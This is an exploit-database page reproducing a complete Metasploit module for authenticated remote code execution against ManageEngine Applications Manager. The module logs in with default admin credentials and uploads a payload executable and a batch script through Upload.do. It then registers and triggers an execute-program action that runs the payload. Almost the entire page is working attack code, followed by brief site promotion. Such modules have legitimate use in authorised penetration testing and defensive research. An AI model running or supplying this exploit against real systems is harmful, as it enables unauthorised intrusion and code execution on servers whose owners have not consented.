Lucene search
K

ManageEngine Applications Manager Authenticated Code Execution

🗓️ 01 Jul 2014 00:00:00Reported by RootType 
seebug
 seebug
🔗 www.seebug.org👁 12 Views

ManageEngine Applications Manager Authenticated Code Executio

Code

                                                ##
# $Id: manageengine_apps_mngr.rb 12281 2011-04-08 14:06:10Z bannedit $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE

	def initialize
		super(
			'Name'        => 'ManageEngine Applications Manager Authenticated Code Execution',
			'Version'	=> '$Revision: 12281 $',
			'Description'	=> %q{
						This module logs into the Manage Engine Appplications Manager to upload a 
					payload to the file system and a batch script that executes the payload. },
			'Author'	=> 'Jacob Giannantonio <JGiannan[at]gmail.com>',
			'Platform'	=> 'win',
			'Targets'	=>
					[
						['Automatic',{}],
					],
			'DefaultTarget'	=>	0
			)
			
		register_options(
			[ Opt::RPORT(9090),
				OptString.new('URI', [false, "URI for Applications Manager", '/']),
				OptString.new('USER', [false, "username", 'admin']),
				OptString.new('PASS', [false, "password", 'admin']),
		], self.class)
	end
	def target_url
		"http://#{rhost}:#{rport}#{datastore['URI']}"
	end
	def exploit
		# Make initial request to get assigned a session token
		cookie = "pagerefresh=1; NfaupdateMsg=true; sortBy=sByName; testcookie=; "
		cookie << "am_username=;am_check="
		begin
			print_status "#{target_url} Applications Manager - Requesting Session Token"
			res = send_request_cgi({
				'method'=> 'GET',
				'uri'	=> "#{target_url}/webclient/common/jsp/home.jsp",
				'cookie'  => cookie.to_s
			}, 20)

			if !res
				print_error("Request to #{target_host} failed")
				return
			end

			if (res and res.code == 200 and res.to_s =~ /(JSESSIONID=[A-Z0-9]{32});/)
				cookie << "; #{$1}"
				print_good("Assigned #{$1}")
			else
				print_error("Initial request failed: http error #{res.code}")
				return
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		# send cookie to index.do
		begin
			print_status "Sending session token to #{target_url}/index.do"
			res = send_request_raw({
				'method'  => 'GET',
				'uri'     => "#{target_url}/index.do",
				'cookie' => cookie
			}, 20)

			if !res || res.code != 200
				print_error("Request to #{target_url} failed")
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/index.do failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		# Log in with the assigned session token
		post_data = "clienttype2=html&j_username="
		post_data << "#{Rex::Text.uri_encode(datastore['USER'].to_s)}&"
		post_data << "j_password="
		post_data << "#{Rex::Text.uri_encode(datastore['PASS'].to_s)}&button=Login"
		print_status("Trying to log in with '#{datastore['USER']}':'#{datastore['PASS']}'")

		begin
			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => "#{target_url}/j_security_check",
				'cookie' => cookie,
				'data'    => post_data.to_s
			}, 20)

			if !res
				print_error("Request to #{target_url} Failed")
			end
			# Server responds with a 302 redirect when the login is successful and
			# HTTP 200 for a failed login
			if res and res.code == 302
				print_good("Success:'#{datastore['USER']}':'#{datastore['PASS']}'")
			else
				print_error("Failed to log into #{target_url}")
				return
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/j_security_check failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end
		# initial request to upload.do
		# I think this is required to upload content later on.
		begin
			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => "#{target_url}/Upload.do",
				'cookie'=> cookie,
				'data'    => post_data
			}, 20)

			if !res
				print_error("HTTP request to #{target_url} Failed")
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/Upload.do Failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		# Transfer the payload executable via POST request to Upload.do
		boundary = rand_text_numeric(11)
		payload_file = "#{rand_text_alphanumeric(20)}.exe"
		lines = "-----------------------------#{boundary}"
		content_disposition = "Content-Disposition: form-data; name=\"theFile\";"
		content_disposition << "filename=\"#{payload_file}\"\r\n"
		post_data = lines + "\r\n" + content_disposition.to_s
		post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
		post_data << "#{generate_payload_exe}\r\n\r\n"
		post_data << lines + "\r\nContent-Disposition: form-data; "
		post_data << "name=\"uploadDir\"\r\n\r\n"
		post_data << ".\/\r\n#{lines}--\r\n"

		begin
			referer = "http://#{target_url}/Upload.do"
			res = send_request_raw({
				'method'  => 'POST',
				'uri'     => "#{target_url}/Upload.do",
				'headers' => {  'Referer' => referer,
					'cookie' => "#{cookie}\r\nContent-Type: " +
					"multipart/form-data; " +
					"boundary=---------------------------#{boundary}",
					'Content-Length' => post_data.length},
					'data'    => post_data
			}, 20)

			if !res
				print_error("Request to #{target_url} failed")
			end

			if res and res.code == 200
				print_good("Uploaded payload #{payload_file}")
			else
				print_error("Response HTTP #{res.code} and HTTP 302 expected")
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/Upload.do failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end
		# Transfer the batch sript via POST request to Upload.do
		# The server will eventually call the batch script, which will call the payload.exe
		boundary = rand_text_numeric(11)
		bat_file = "#{rand_text_alphanumeric(20)}.bat"
		lines = "-----------------------------#{boundary}"
		content_disposition = "Content-Disposition: form-data; name=\"theFile\"; "
		content_disposition << "filename=\"#{bat_file}\"\r\n"
		post_data = lines + "\r\n" + content_disposition.to_s
		post_data << "Content-Type: application/x-msdos-program\r\n\r\n"
		post_data << "@ECHO off && \"C:\\\\program files\\ManageEngine\\AppManager9\\workin"
		post_data << "g\\#{payload_file}\"\r\n\r\n"
		post_data << lines + "\r\nContent-Disposition: form-data; name=\"uploadDir\""
		post_data << "\r\n\r\n"
		post_data << ".\/\r\n#{lines}--\r\n"

		begin
			referer = "#{target_url}/Upload.do"
				res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => "#{target_url}/Upload.do",
				'headers' => {  'Referer' => referer,
				'cookie' => "#{cookie}\r\nContent-Type: multipart/form-data; " +
				"boundary=---------------------------#{boundary}",
				'Content-Length' => post_data.length},
				'data'    => post_data
			}, 20)

			if !res
				print_error("HTTP request to #{target_url} failed")
				return
			end

			if res and res.code == 200
				print_good("Uploaded #{bat_file} to execute #{payload_file}")
			end

		rescue ::Rex::ConnectionRefused,::Rex::HostUnreachable,::Rex::ConnectionTimeout
			print_error("Request to #{target_url}/Upload.do failed")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		action_name = "#{rand_text_alphanumeric(20)}"
		post_data = "actions=%2FshowTile.do%3FTileName%3D.ExecProg%26haid%3Dnull&ha"
		post_data << "id=null&method=createExecProgAction&redirectTo=null&id=0&disp"
		post_data << "layname=#{action_name}&serversite=local&choosehost=-2&host=&m"
		post_data << "onitoringmode=TELNET&username=&password=&description=&port=23"
		post_data << "&prompt=%24&command=#{bat_file}&execProgExecDir="
		post_data << "C%3A%5CProgram+Files%5CManageEngine%5CAppManager9%5Cworking&a"
		post_data << "bortafter=10&cancel=false"

		# This client request is necessary because it sends a request to the server
		# specifying that we are interested in executing the batch script.  If
		# successful, the server response body will contain an actionID that is
		# used to tell the server to execute the script.
		begin
			referer = "#{target_url}/showTile.do?TileName=.ExecProg&haid=null"
			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => "#{target_url}/adminAction.do",
				'headers' => {  'Referer' => referer,
				'cookie' => cookie,
				'Content-Type' => "application/x-www-form-urlencoded",
				'Content-Length' => post_data.to_s.length},
				'data'    => post_data.to_s
			}, 20)

			if !res
				print_error("Request to #{target_host} failed")
			end

			# We are parsing the response in order to determine the correct actionID.
			# My solution for doing this is to iterate through the HTTP response one
			# line at a time.  The correct actionID always comes up several lines 
			# after reading the name of the batch file 3 times.  Even if other batch 
			# files are mixed up in the list of actions to execute, ours is always 
			# the next one after reading the batch file name 3 times

			if res and (res.code == 302 || res.code == 200)
				action_id = 0
				x = 0
				res.body.each_line do |k|
					k.strip!
					if((k =~ /&actionID=(\d{8})/) && (x == 3))
						action_id = $1
						break;
					elsif((k =~ /#{bat_file}/) && (x < 3))
						x+=1
					end
				end
			else
				print_error("HTTP error #{res.code} and HTTP 302 expected")
			end

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("HTTP request to #{target_url}/adminAction.do ")
			return
		rescue ::Timeout::Error, ::Errno::EPIPE
			return
		end

		begin
			referer = "#{target_url}/common/executeScript.do?"
			referer << "method=testAction&actionID=#{action_id}&haid=null"
			print_good("Requesting to execute batch file with actionID #{action_id}")
			res = send_request_cgi({
				'method'  => 'GET',
				'uri'     => "#{target_url}/common/executeScript.do?method=testAction&" + 
						"actionID=#{action_id}&haid=null",
				'headers' => {  'Referer' => referer,
				'cookie' => 	"executeProgramActionTable_sortcol=1; " + 
						"executeProgramActionTable_sortdir=down; " + 
						"#{cookie}; executeProgramActionTable_" + 
						"sortdir=down; executeProgramActionTable_sortcol=1",
				'Content-Type' => "application/x-www-form-urlencoded"}
			}, 20)

		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout
			print_error("Request to execute the actionID failed")
		rescue ::Timeout::Error, ::Errno::EPIPE
		end
	end
end
                              

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation